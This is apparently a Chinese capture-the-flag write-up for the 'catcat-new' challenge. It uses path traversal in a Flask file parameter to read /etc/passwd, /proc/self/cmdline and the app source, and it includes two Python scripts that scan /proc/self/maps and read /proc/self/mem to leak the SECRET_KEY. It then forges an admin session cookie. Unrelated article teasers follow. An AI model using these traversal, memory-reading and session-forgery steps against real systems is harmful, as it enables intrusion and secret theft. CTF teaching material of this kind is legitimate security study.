攻防世界33 catcat-new【文件包含/flask_session伪造】

 题目:

点击一只猫猫:

看这个url像是文件包含漏洞,试试

 dirsearch扫出来/admin,访问也没成功(--delay 0.1 -t 5)

会的那几招全用不了了哈哈,那就继续看答案

先总结几个知识点

1./etc/passwd:是一个文本文件,存储了系统中所有用户的基本信息,任何用户都可以读取该文件,但只有超级用户(root)可以修改它,该文件的存在有助于系统识别和管理用户账户。

文件中的每一行代表一个用户账户,每行由冒号 : 分隔成 7 个字段,基本格式:

用户名:口令(密码):用户标识号(UID):组标识号(GID):注释性描述(相当于备注):用户主目录(用户登录系统后默认进入的目录):登录Shell(用户登录系统后默认使用的shell程序)

2. /proc/self proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据,通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据

3./proc/self/cmdline 包含了当前进程启动时所使用的完整命令行参数(用来分析服务器运行环境,配置参数)。

4./proc/self/mem  当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容。

5./proc/self/maps   包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址。

6.flask的session构造序列化内容+时间+防篡改值,默认session的储存是在用户Cookie

7./proc/self/environ该文件包含了当前进程的环境变量

8./proc/self/fd这是一个目录,该目录下的文件包含着当前进程打开的文件的内容和路径。这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的fd目录下的pid文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容。通过/proc/self/fd/§pid§来查看你当前进程所打开的文件内容。

当pid不知道时,我们可以通过bp爆破,pid是数字。

9./proc/self/exe获取当前进程的可执行文件的路径

做法: 

搜索信息

1.file=../../etc/passwd(利用文件包含漏洞,会直接包含这个文件,前面../不够就多加几个)

b'root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\nutmp:x:100:406:utmp:/home/utmp:/bin/false\n'

 2.file=../../proc/self/cmdline(分析服务器运行环境,配置参数)

b'python\x00app.py\x00'

说明当前进程是通过python app.py进行的,推测当前站点使用的是python的flask框架,该文件常常为flask项目结构中的主程序文件

获得源代码 

3.获取app.py

b'import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n __name__,\n static_url_path=\'/\', \n static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n flag = cat("/flag")\n os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n detailtxt = os.listdir(\'./details/\')\n cats_list = []\n for i in detailtxt:\n cats_list.append(i[:i.index(\'.\')])\n \n return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n filename = "./details/" + request.args.get(\'file\', "")\n start = request.args.get(\'start\', "0")\n end = request.args.get(\'end\', "0")\n name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n \n return render_template("detail.html", catname=name, info=cat(filename, start, end))\n \n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n if session.get(\'admin\') == 1:\n return flag\n else:\n session[\'admin\'] = 0\n return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n app.run(host=\'0.0.0.0\', debug=False, port=5637)' 

 格式化输出的代码

#需要格式化的代码
code_str = '''import os\nimport uuid\nfrom flask import Flask, request, session, render_template, Markup\nfrom cat import cat\n\nflag = ""\napp = Flask(\n    __name__,\n    static_url_path=\'/\', \n    static_folder=\'static\' \n)\napp.config[\'SECRET_KEY\'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"\nif os.path.isfile("/flag"):\n    flag = cat("/flag")\n    os.remove("/flag")\n\n@app.route(\'/\', methods=[\'GET\'])\ndef index():\n    detailtxt = os.listdir(\'./details/\')\n    cats_list = []\n    for i in detailtxt:\n        cats_list.append(i[:i.index(\'.\')])\n\n    return render_template("index.html", cats_list=cats_list, cat=cat)\n\n\n\n@app.route(\'/info\', methods=["GET", \'POST\'])\ndef info():\n    filename = "./details/" + request.args.get(\'file\', "")\n    start = request.args.get(\'start\', "0")\n    end = request.args.get(\'end\', "0")\n    name = request.args.get(\'file\', "")[:request.args.get(\'file\', "").index(\'.\')]\n\n    return render_template("detail.html", catname=name, info=cat(filename, start, end))\n\n\n\n@app.route(\'/admin\', methods=["GET"])\ndef admin_can_list_root():\n    if session.get(\'admin\') == 1:\n        return flag\n    else:\n        session[\'admin\'] = 0\n        return "NoNoNo"\n\n\n\nif __name__ == \'__main__\':\n    app.run(host=\'0.0.0.0\', debug=False, port=5637)'''# 按行分割字符串
lines = code_str.split('\n')indented_lines = [line if line.strip() else '' for line in lines]# 连接并打印格式化后的代码
formatted_code = '\n'.join(indented_lines)
print(formatted_code)

得到结果

import os  #与操作系统交互
import uuid #用于生成和操作通用唯一识别码uuid,此处用于生成 Flask 应用的 SECRET_KEY
from flask import Flask, request, session, render_template, Markup
from cat import cat
#关于这些模块的作用:
#Flask:用于创建 Flask 应用实例
#request:用于处理客户端发送的请求,获取请求中的参数
#session:用于管理用户会话,存储用户的会话数据
#render_template:用于渲染 HTML 模板
#Markup:用于处理 HTML 标记flag = "" #初始化
#创建flask应用实例
app = Flask(__name__,static_url_path='/', static_folder='static' 
)
#设置 Flask 应用的 SECRET_KEY,用于会话管理和消息签名。
#这里使用 UUID 生成一个随机的密钥,并去除其中的连字符,再加上固定的字符串 *abcdefgh
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
#检查 /flag 文件是否存在
if os.path.isfile("/flag"):flag = cat("/flag")os.remove("/flag")#访问根路径的时候,执行index函数
@app.route('/', methods=['GET'])
def index():
#os.listdir:获取./details/目录下所有文件名detailtxt = os.listdir('./details/')cats_list = []  #创建列表,用于存储文件名去除扩展名后的部分
#i 是循环变量,在每次循环中,i 会依次取 detailtxt 列表中的每个元素  for i in detailtxt:
#index()用于查找字符串中指定字符(也就是i)第一次出现的位置(索引为0)
#i[:i.index('.')]:截取字符串的一部分。表示从字符串 i 的开头截取到.出现的位置(不包含.)
#append()用于在列表的末尾添加一个元素。cats_list.append(i[:i.index('.')])#渲染 index.html 模板,并将 cats_list 和 cat 函数传递给模板。return render_template("index.html", cats_list=cats_list, cat=cat)@app.route('/info', methods=["GET", 'POST'])
def info():
#request.args.get('file', ""):从HTTP请求的查询参数中获取 file 参数的值filename = "./details/" + request.args.get('file', "")start = request.args.get('start', "0")end = request.args.get('end', "0")name = request.args.get('file', "")[:request.args.get('file', "").index('.')]return render_template("detail.html", catname=name, info=cat(filename, start, end))#关键代码
@app.route('/admin', methods=["GET"])
def admin_can_list_root():if session.get('admin') == 1:return flagelse:session['admin'] = 0return "NoNoNo"#启动应用
if __name__ == '__main__':#确保代码作为脚本直接运行时才启动 Flask 应用。
#启动 Flask 应用,监听所有网络接口(host='0.0.0.0'),关闭调试模式,并指定端口号为 5637。app.run(host='0.0.0.0', debug=False, port=5637)

关键点在于session中的admin只要为1,就可以拿到flag,这里就用到flask_session伪造,需要用到secret_key(通过内存数据读取),在读取内存数据文件/proc/self/mem之前,我们要先读取/proc/self/maps文件获取可读内容的内存映射地址。

获取secret_key

脚本1

先用?file=../../../proc/self/maps

将返回的内容保存在txt (但是运行没成功?。。)

import re
import requestsmaps = open('攻防世界-catcat-new/test.txt')  # 打开名为 'test.txt' 的文件并赋值给变量 maps
b = maps.read()  # 读取文件内容并赋值给变量 b
lst = b.split('\\n')  # 根据换行符 '\n' 将文件内容拆分为列表,并赋值给变量 lst,映射表中的内容是一行一行的。for line in lst:  # 遍历列表 lst 中的每一行内容if 'rw' in line:  # 如果当前行包含 'rw','rw' 代表该内存区域可读可写,'r'代表可读,'w'代表可写addr = re.search('([0-9a-f]+)-([0-9a-f]+)', line)  # 使用正则表达式在当前行中搜索地址范围并保存到变量 addr 中start = int(addr.group(1), 16)  # 将地址范围的起始地址从十六进制转换为十进制,并赋值给变量 startend = int(addr.group(2), 16)  # 将地址范围的结束地址从十六进制转换为十进制,并赋值给变量 endprint(start, end)  # 打印起始地址和结束地址# 构造请求URL,用于读取 /proc/self/mem 文件的特定区域url = f"http://61.147.171.105:52968/info?file=../../../proc/self/mem&start={start}&end={end}"# 发送 GET 请求并获取响应response = requests.get(url)# 使用正则表达式从响应文本中找到符合指定格式的 SECRET_KEYsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)# 如果找到了 SECRET_KEY,则打印并结束循环if secret_key:print(secret_key)break
脚本2

原理跟脚本1一样,只不过这个不用手动访问/proc/self/maps了,把这些内存的映射地址裂成列表,然后找到有rw的(可读可写),再访问/proc/self/mem&start={起始地址}&end={终止地址}

这里的起始地址就是-前面的,终止地址就是-后面的,但是得把它转换成十进制,读取对应的内存,如果发现secret_key格式的东西就打印出来

 import requestsimport re  #支持正则表达式操作import sys #用于访问和操作 Python 解释器的各种设置和状态信息url = "http://61.147.171.105:59089/"#此程序只能运行于Python3以上if sys.version_info[0] < 3: # < 3.0raise Exception('Must be using at least Python 3')​#由/proc/self/maps获取可读写的内存地址,再根据这些地址读取/proc/self/mem来获取secret keys_key = ""bypass = "../.."#请求file路由进行读取map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")map_list = map_list.text.split("\\n")for i in map_list:#匹配指定格式的地址map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)if map_addr:#将提取到的十六进制地址字符串转换为十进制整数。#group() 是匹配对象的一个方法,用于获取指定捕获组匹配到的内容。#group(1) 表示获取第一个捕获组(即起始地址)匹配到的字符串      start = int(map_addr.group(1), 16)end = int(map_addr.group(2), 16)# print("Found rw addr:", start, "-", end)#设置起始和结束位置并读取/proc/self/mem(内存内容)res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")#f表示这是一个f-string,可以嵌入表达式print(f'{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}')#用到了之前特定的SECRET_KEY格式。如果发现*abcdefgh存在其中,说明成功泄露secretkeyif "*abcdefgh" in res.text:#正则匹配,本题secret key格式为32个小写字母或数字,再加上*abcdefghsecret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)if secret_key:print("Secret Key:", secret_key[0])s_key = secret_key[0]break

抓包获得session

利用flask-session-cookie-manager-master解码:

python flask_session_cookie_manager3.py decode -s "4cdfceee9981498794c8408a1b375c4e*abcdefgh" -c "eyJhZG1pbiI6MH0.Z6l7pw.aOjXfOfFgyi-BipJJiG8ZnHNbjA"

 再将{'admin':1}编码:

python flask_session_cookie_manager3.py encode -s "4cdfceee9981498794c8408a1b375c4e*abcdefgh" -t "{'admin':1}"

刷新一下/admin界面,然后修改session  

拿到flag 

参考:攻防世界-cat_cat_new(flask_session伪造、/proc/self/文件夹) - 你呀你~ - 博客园

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/15696.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ArgoCD实战指南:GitOps驱动下的Kubernetes自动化部署与Helm/Kustomize集成

摘要 ArgoCD 是一种 GitOps 持续交付工具,专为 Kubernetes 设计。它能够自动同步 Git 仓库中的声明性配置,并将其应用到 Kubernetes 集群中。本文将介绍 ArgoCD 的架构、安装步骤,以及如何结合 Helm 和 Kustomize 进行 Kubernetes 自动化部署。 引言 为什么选择 ArgoCD?…

尝试一下,交互式的三维计算python库,py3d

py3d是一个我开发的三维计算python库&#xff0c;目前不定期在PYPI上发版&#xff0c;可以通过pip直接安装 pip install py3d 开发这个库主要可视化是想把自己在工作中常用的三维方法汇总积累下来&#xff0c;不必每次重新造轮子。其实现成的python库也有很多&#xff0c;例如…

【愚公系列】《循序渐进Vue.js 3.x前端开发实践》070-商业项目:电商后台管理系统实战(商品管理模块的开发)

标题详情作者简介愚公搬代码头衔华为云特约编辑&#xff0c;华为云云享专家&#xff0c;华为开发者专家&#xff0c;华为产品云测专家&#xff0c;CSDN博客专家&#xff0c;CSDN商业化专家&#xff0c;阿里云专家博主&#xff0c;阿里云签约作者&#xff0c;腾讯云优秀博主&…

5 个释放 安卓潜力的 Shizuku 应用

Shizuku 软件推荐&#xff1a;释放安卓潜力的五款应用 Shizuku (日语&#xff1a;雫&#xff0c;意为“水滴”) 正如其名&#xff0c;是一款轻巧但功能强大的安卓工具。它无需 Root 权限&#xff0c;通过 ADB (Android Debug Bridge) 授权&#xff0c;即可让应用调用系统 API&…

前端权限控制和管理

前端权限控制和管理 1.前言2.权限相关概念2.1权限的分类(1)后端权限(2)前端权限 2.2前端权限的意义 3.前端权限控制思路3.1菜单的权限控制3.2界面的权限控制3.3按钮的权限控制3.4接口的权限控制 4.实现步骤4.1菜单栏控制4.2界面的控制(1)路由导航守卫(2)动态路由 4.3按钮的控制…

分布式kettle调度平台- web版转换,作业编排新功能介绍

介绍 Kettle&#xff08;也称为Pentaho Data Integration&#xff09;是一款开源的ETL&#xff08;Extract, Transform, Load&#xff09;工具&#xff0c;由Pentaho&#xff08;现为Hitachi Vantara&#xff09;开发和维护。它提供了一套强大的数据集成和转换功能&#xff0c…

Docker容器访问外网:启动时的网络参数配置指南

在启动Docker镜像时,可以通过设置网络参数来确保容器能够访问外网。以下是几种常见的方法: 1. 使用默认的bridge网络 Docker的默认网络模式是bridge,它会创建一个虚拟网桥,将容器连接到宿主机的网络上。在大多数情况下,使用默认的bridge网络配置即可使容器访问外网。 启动…

大语言模型RAG,transformer

1、RAG技术流总结 第一张图是比较经典的RAG知识图谱&#xff0c;第二张图是更加详细扎实的介绍图。 1.1 索引 坦白来说这部分的技术并不是大模型领域的&#xff0c;更像是之前技术在大模型领域的应用&#xff1b;早在2019年我就做过faiss部分的尝试&#xff0c;彼时索引技术已…

数据结构与算法(test3)

七、查找 1. 看图填空 查找表是由同一类型的数据元素&#xff08;或记录&#xff09;构成的集合。例如上图就是一个查找表。 期中&#xff08;1&#xff09;是______________. (2)是______________(3)是_____关键字_______。 2. 查找(Searching) 就是根据给定的某个值, 在查…

机器学习在癌症分子亚型分类中的应用

学习笔记&#xff1a;机器学习在癌症分子亚型分类中的应用——Cancer Cell 研究解析 1. 文章基本信息 标题&#xff1a;Classification of non-TCGA cancer samples to TCGA molecular subtypes using machine learning发表期刊&#xff1a;Cancer Cell发表时间&#xff1a;20…

48V电气架构全面科普和解析:下一代智能电动汽车核心驱动

48V电气架构&#xff1a;下一代智能电动汽车核心驱动 随着全球汽车产业迈入电动化、智能化的新时代&#xff0c;传统12V电气系统逐渐暴露出其无法满足现代高功率需求的不足。在此背景下&#xff0c;48V电气架构应运而生&#xff0c;成为现代电动汽车&#xff08;EV&#xff09…

Mac(m1)本地部署deepseek-R1模型

1. 下载安装ollama 直接下载软件&#xff0c;下载完成之后&#xff0c;安装即可&#xff0c;安装完成之后&#xff0c;命令行中可出现ollama命令 2. 在ollama官网查看需要下载的模型下载命令 1. 在官网查看deepseek对应的模型 2. 选择使用电脑配置的模型 3. copy 对应模型的安…

操作教程丨使用1Panel开源面板快速部署DeepSeek-R1

近期&#xff0c;DeepSeek-R1模型因其在数学推理、代码生成与自然语言推理等方面的优异表现而受到广泛关注。作为能够有效提升生产力的工具&#xff0c;许多个人和企业用户都希望能在本地部署DeepSeek-R1模型。 通过1Panel的应用商店能够简单、快速地在本地部署DeepSeek-R1模型…

免费在腾讯云Cloud Studio部署DeepSeek-R1大模型

2024年2月2日&#xff0c;腾讯云宣布DeepSeek-R1大模型正式支持一键部署至腾讯云HAI&#xff08;高性能应用服务&#xff09;。开发者仅需3分钟即可完成部署并调用模型&#xff0c;大幅简化了传统部署流程中买卡、装驱动、配网络、配存储、装环境、装框架、下载模型等繁琐步骤。…

C语言-结构体

1.共用体: union //联合--共用体 早期的时候&#xff0c;计算机的硬件资源有限&#xff0c; 能不能让多个成员变量 公用同一块空间 //使用方式 类似 结构体 --- 也是构造类型 struct 结构体名 { 成员变量名 }; union 共用体名 { 成员变量名 }; //表示构造了一个共用体…

多头自注意力中的多头作用及相关思考

文章目录 1. num_heads2. pytorch源码演算 1. num_heads 将矩阵的最后一维度进行按照num_heads的方式进行切割矩阵&#xff0c;具体表示如下&#xff1a; 2. pytorch源码演算 pytorch 代码 import torch import torch.nn as nn import torch.nn.functional as Ftorch.set…

数据仓库和商务智能:洞察数据,驱动决策

在数据管理的众多领域中&#xff0c;数据仓库和商务智能&#xff08;BI&#xff09;是将数据转化为洞察力、支持决策制定的关键环节。它们通过整合、存储和分析数据&#xff0c;帮助组织更好地理解业务运营&#xff0c;预测市场趋势&#xff0c;从而制定出更明智的战略。今天&a…

C++ ——从C到C++

1、C的学习方法 &#xff08;1&#xff09;C知识点概念内容比较多&#xff0c;需要反复复习 &#xff08;2&#xff09;偏理论&#xff0c;有的内容不理解&#xff0c;可以先背下来&#xff0c;后续可能会理解更深 &#xff08;3&#xff09;学好编程要多练习&#xff0c;简…

半导体制造工艺讲解

目录 一、半导体制造工艺的概述 二、单晶硅片的制造 1.单晶硅的制造 2.晶棒的切割、研磨 3.晶棒的切片、倒角和打磨 4.晶圆的检测和清洗 三、晶圆制造 1.氧化与涂胶 2.光刻与显影 3.刻蚀与脱胶 4.掺杂与退火 5.薄膜沉积、金属化和晶圆减薄 6.MOSFET在晶圆表面的形…

Avnet RFSoC基于maltab得5G 毫米波 开发工具箱

使用 MATLAB 连接到 AMD Zynq™ RFSoC 评估板。使用 RF 附加卡执行 OTA 测试。使用 HDL Coder 部署算法 版本要求&#xff1a; 大于 2023b 需要以下支持包之一&#xff1a; 适用于 Xilinx 基于 Zynq 的无线电&#xff08;R2023b 及更早版本&#xff09;的通信工具箱支持包适…